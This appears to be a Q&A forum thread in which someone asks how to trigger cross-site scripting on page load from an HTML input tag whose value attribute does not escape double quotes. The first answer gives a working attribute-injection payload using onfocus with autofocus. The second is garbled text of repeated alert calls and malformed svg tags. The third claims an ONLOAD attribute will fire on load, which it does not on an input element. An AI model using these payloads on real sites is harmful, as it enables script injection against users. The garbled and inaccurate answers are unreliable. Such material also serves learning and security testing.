How to launch XSS code from an INPUT HTML tag upon page load?

Question

Say I have the a website with the following code on it:

<input type="text" id="search-text" name="query" value="?" />

Double quotes aren't escaped so I can break out of the value attribute, however, I can't break out of the HTML tag itself as '<' and > are being filtered out.

My goal here is to get a javascript popup to appear.

• There's the onfocus attribute so I guess if someone clicked on the text input box a javascript popup could appear.
• However is there a way to make a javascript popup appear when the page first loads?

Answer 1

Try this:

" onfocus="alert(1)" autofocus="

It will expand to:

<input type="text" id="search-text" name="query" value="" onfocus="alert(1)" autofocus="" />

Which will cause an alert box, demonstrating XSS.

Answer 2

Hyyyyyygg alert("xss")alert("xss")alert("xss")alert("xss")</svg onResize></svg onResize></svg onResize></svg onResize></svg onResize>

Answer 3

You can checkout for this too

ONLOAD=alert('XSS')

Which will produce an alert box when the page loads.